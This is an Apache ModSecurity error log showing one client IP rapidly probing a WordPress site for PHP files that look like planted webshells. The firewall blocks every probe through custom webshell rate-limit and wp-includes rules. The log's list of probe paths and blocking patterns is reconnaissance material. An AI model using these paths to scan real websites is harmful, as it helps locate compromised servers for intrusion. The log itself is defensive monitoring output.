[Mon Feb 09 00:54:32.003723 2026] [:error] [pid 9422:tid 9440] [client 20.69.252.116:33876] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/X7x.php"] [unique_id "aYi_yK9DqDJC68qBbyxF-AAAAY8"]
[Mon Feb 09 00:54:32.414611 2026] [:error] [pid 43900:tid 43912] [client 20.69.252.116:33895] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/X7x.php"] [unique_id "aYi_yOWrhnpm_Csk3knKaQAAAUk"]
[Mon Feb 09 00:54:32.820724 2026] [:error] [pid 43900:tid 43919] [client 20.69.252.116:33832] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/X7x.php"] [unique_id "aYi_yOWrhnpm_Csk3knKawAAAVA"]
[Mon Feb 09 00:54:33.241090 2026] [:error] [pid 24530:tid 24539] [client 20.69.252.116:33812] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aYi_yUazNRCs1GRWrh48KQAAAMc"]
[Mon Feb 09 00:54:33.655704 2026] [:error] [pid 6663:tid 6697] [client 20.69.252.116:34433] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aYi_yWGI3uHqWdeZM76hLgAAAoQ"]
[Mon Feb 09 00:54:34.077740 2026] [:error] [pid 24530:tid 24554] [client 20.69.252.116:33916] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aYi_ykazNRCs1GRWrh48KgAAANY"]
[Mon Feb 09 00:54:34.501992 2026] [:error] [pid 6723:tid 6791] [client 20.69.252.116:34548] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aYi_yjkiu6gHwS33P0qTzQAAA0Y"]
[Mon Feb 09 00:54:34.952855 2026] [:error] [pid 6630:tid 6642] [client 20.69.252.116:33115] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plss3.php"] [unique_id "aYi_yp2jf0FBTEb_cWQSHQAAAgk"]
[Mon Feb 09 00:54:35.355751 2026] [:error] [pid 24530:tid 24549] [client 20.69.252.116:33839] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plss3.php"] [unique_id "aYi_y0azNRCs1GRWrh48KwAAANE"]
[Mon Feb 09 00:54:35.768615 2026] [:error] [pid 6723:tid 6797] [client 20.69.252.116:34482] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plss3.php"] [unique_id "aYi_yzkiu6gHwS33P0qTzwAAA0w"]
[Mon Feb 09 00:54:36.175822 2026] [:error] [pid 24423:tid 24498] [client 20.69.252.116:34434] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plss3.php"] [unique_id "aYi_zE3f9n1Y0TpV5YaJ-wAAAI0"]
[Mon Feb 09 00:54:36.602277 2026] [:error] [pid 24423:tid 24502] [client 20.69.252.116:33079] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aYi_zE3f9n1Y0TpV5YaJ_QAAAJE"]
[Mon Feb 09 00:54:37.015154 2026] [:error] [pid 24423:tid 24486] [client 20.69.252.116:33837] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aYi_zU3f9n1Y0TpV5YaJ_gAAAIE"]
[Mon Feb 09 00:54:37.420996 2026] [:error] [pid 24423:tid 24503] [client 20.69.252.116:33107] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aYi_zU3f9n1Y0TpV5YaKAQAAAJI"]
[Mon Feb 09 00:54:37.840585 2026] [:error] [pid 9482:tid 9555] [client 20.69.252.116:34540] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aYi_zcTkGH_puEFp5zPSGgAAA9A"]
[Mon Feb 09 00:54:38.246098 2026] [:error] [pid 43900:tid 43923] [client 20.69.252.116:33099] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/177.php"] [unique_id "aYi_zuWrhnpm_Csk3knKcwAAAVQ"]
[Mon Feb 09 00:54:38.675395 2026] [:error] [pid 9422:tid 9449] [client 20.69.252.116:35102] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/177.php"] [unique_id "aYi_zq9DqDJC68qBbyxF_gAAAZg"]
[Mon Feb 09 00:54:39.122704 2026] [:error] [pid 24421:tid 24440] [client 20.69.252.116:33114] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/177.php"] [unique_id "aYi_z6p7cTzhX5M1IP9ZrQAAAAk"]
[Mon Feb 09 00:54:39.529621 2026] [:error] [pid 6630:tid 6651] [client 20.69.252.116:33029] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/177.php"] [unique_id "aYi_z52jf0FBTEb_cWQSJAAAAhI"]
[Mon Feb 09 00:54:39.969485 2026] [:error] [pid 9482:tid 9544] [client 20.69.252.116:33136] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admins.php"] [unique_id "aYi_z8TkGH_puEFp5zPSGwAAA8U"]
[Mon Feb 09 00:54:40.369440 2026] [:error] [pid 43900:tid 43908] [client 20.69.252.116:33133] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admins.php"] [unique_id "aYi_0OWrhnpm_Csk3knKdQAAAUU"]
[Mon Feb 09 00:54:40.770101 2026] [:error] [pid 9482:tid 9556] [client 20.69.252.116:33112] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admins.php"] [unique_id "aYi_0MTkGH_puEFp5zPSHAAAA9E"]
[Mon Feb 09 00:54:41.186956 2026] [:error] [pid 24421:tid 24442] [client 20.69.252.116:33070] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admins.php"] [unique_id "aYi_0ap7cTzhX5M1IP9ZrwAAAAs"]
[Mon Feb 09 00:54:41.597956 2026] [:error] [pid 9482:tid 9540] [client 20.69.252.116:33074] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aYi_0cTkGH_puEFp5zPSHQAAA8E"]
[Mon Feb 09 00:54:42.021091 2026] [:error] [pid 6663:tid 6703] [client 20.69.252.116:34489] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aYi_0mGI3uHqWdeZM76hMwAAAoo"]
[Mon Feb 09 00:54:42.440940 2026] [:error] [pid 6630:tid 6642] [client 20.69.252.116:33801] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aYi_0p2jf0FBTEb_cWQSJwAAAgk"]
[Mon Feb 09 00:54:42.847081 2026] [:error] [pid 6663:tid 6711] [client 20.69.252.116:33918] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aYi_0mGI3uHqWdeZM76hNgAAApI"]
[Mon Feb 09 00:54:43.308160 2026] [:error] [pid 6630:tid 6637] [client 20.69.252.116:33803] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/main.php"] [unique_id "aYi_052jf0FBTEb_cWQSKQAAAgQ"]
[Mon Feb 09 00:54:43.720159 2026] [:error] [pid 6630:tid 6647] [client 20.69.252.116:33810] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/main.php"] [unique_id "aYi_052jf0FBTEb_cWQSKgAAAg4"]
[Mon Feb 09 00:54:44.129813 2026] [:error] [pid 6663:tid 6708] [client 20.69.252.116:33881] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/main.php"] [unique_id "aYi_1GGI3uHqWdeZM76hOAAAAo8"]
[Mon Feb 09 00:54:44.529777 2026] [:error] [pid 24530:tid 24554] [client 20.69.252.116:33824] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/main.php"] [unique_id "aYi_1EazNRCs1GRWrh48NgAAANY"]
[Mon Feb 09 00:54:44.939821 2026] [:error] [pid 6662:tid 6675] [client 20.69.252.116:33032] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "aYi_1N-oEK1ut16KiNIdcgAAAkk"]
[Mon Feb 09 00:54:45.355138 2026] [:error] [pid 6723:tid 6800] [client 20.69.252.116:33103] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "aYi_1Tkiu6gHwS33P0qT1QAAA08"]
[Mon Feb 09 00:54:45.765123 2026] [:error] [pid 6630:tid 6638] [client 20.69.252.116:33034] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "aYi_1Z2jf0FBTEb_cWQSLgAAAgU"]
[Mon Feb 09 00:54:46.222221 2026] [:error] [pid 6663:tid 6693] [client 20.69.252.116:33137] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a1.php"] [unique_id "aYi_1mGI3uHqWdeZM76hOwAAAoA"]
[Mon Feb 09 00:54:46.628692 2026] [:error] [pid 6723:tid 6788] [client 20.69.252.116:33864] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lala.php"] [unique_id "aYi_1jkiu6gHwS33P0qT1wAAA0M"]
[Mon Feb 09 00:54:47.033210 2026] [:error] [pid 24423:tid 24498] [client 20.69.252.116:34515] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lala.php"] [unique_id "aYi_103f9n1Y0TpV5YaKBgAAAI0"]
[Mon Feb 09 00:54:47.448072 2026] [:error] [pid 6662:tid 6683] [client 20.69.252.116:33134] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lala.php"] [unique_id "aYi_19-oEK1ut16KiNIddgAAAlE"]
[Mon Feb 09 00:54:47.873868 2026] [:error] [pid 9422:tid 9448] [client 20.69.252.116:33841] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lala.php"] [unique_id "aYi_169DqDJC68qBbyxGBwAAAZc"]
[Mon Feb 09 00:54:48.279491 2026] [:error] [pid 9422:tid 9430] [client 20.69.252.116:33128] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "aYi_2K9DqDJC68qBbyxGCQAAAYU"]
[Mon Feb 09 00:54:48.709994 2026] [:error] [pid 6630:tid 6652] [client 20.69.252.116:33890] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "aYi_2J2jf0FBTEb_cWQSMAAAAhM"]
[Mon Feb 09 00:54:49.112980 2026] [:error] [pid 6662:tid 6666] [client 20.69.252.116:33098] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "aYi_2d-oEK1ut16KiNIdegAAAkA"]
[Mon Feb 09 00:54:49.519000 2026] [:error] [pid 24421:tid 24434] [client 20.69.252.116:33113] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aaa.php"] [unique_id "aYi_2ap7cTzhX5M1IP9ZtAAAAAM"]
[Mon Feb 09 00:54:49.932727 2026] [:error] [pid 6662:tid 6669] [client 20.69.252.116:33116] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "aYi_2d-oEK1ut16KiNIdewAAAkM"]
[Mon Feb 09 00:54:50.343061 2026] [:error] [pid 43900:tid 43918] [client 20.69.252.116:33897] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "aYi_2uWrhnpm_Csk3knKdgAAAU8"]
[Mon Feb 09 00:54:50.747066 2026] [:error] [pid 6663:tid 6704] [client 20.69.252.116:34495] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "aYi_2mGI3uHqWdeZM76hPAAAAos"]
[Mon Feb 09 00:54:51.164399 2026] [:error] [pid 6723:tid 6795] [client 20.69.252.116:33091] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "aYi_2zkiu6gHwS33P0qT2QAAA0o"]
[Mon Feb 09 00:54:51.567338 2026] [:error] [pid 24423:tid 24503] [client 20.69.252.116:33795] [client 20.69.252.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aYi_203f9n1Y0TpV5YaKCwAAAJI"]
[Mon Feb 09 00:54:51.977831 2026] [:error] [pid 6662:tid 6679] [client 20.69.252.116:33847] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aYi_29-oEK1ut16KiNIdfQAAAk0"]
[Mon Feb 09 00:54:52.377630 2026] [:error] [pid 24423:tid 24504] [client 20.69.252.116:33078] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aYi_3E3f9n1Y0TpV5YaKDAAAAJM"]
[Mon Feb 09 00:54:52.781786 2026] [:error] [pid 6723:tid 6800] [client 20.69.252.116:33075] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aYi_3Dkiu6gHwS33P0qT3gAAA08"]
[Mon Feb 09 00:54:53.189075 2026] [:error] [pid 6723:tid 6789] [client 20.69.252.116:33140] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nyan.php"] [unique_id "aYi_3Tkiu6gHwS33P0qT3wAAA0Q"]
[Mon Feb 09 00:54:53.599910 2026] [:error] [pid 6723:tid 6807] [client 20.69.252.116:33088] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nyan.php"] [unique_id "aYi_3Tkiu6gHwS33P0qT4AAAA1Y"]
[Mon Feb 09 00:54:54.009086 2026] [:error] [pid 24423:tid 24505] [client 20.69.252.116:33148] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nyan.php"] [unique_id "aYi_3k3f9n1Y0TpV5YaKEQAAAJQ"]
[Mon Feb 09 00:54:54.419630 2026] [:error] [pid 6663:tid 6696] [client 20.69.252.116:34487] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nyan.php"] [unique_id "aYi_3mGI3uHqWdeZM76hPgAAAoM"]
[Mon Feb 09 00:54:54.827992 2026] [:error] [pid 24421:tid 24445] [client 20.69.252.116:33036] [client 20.69.252.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jsond.php"] [unique_id "aYi_3qp7cTzhX5M1IP9ZtgAAAA4"]
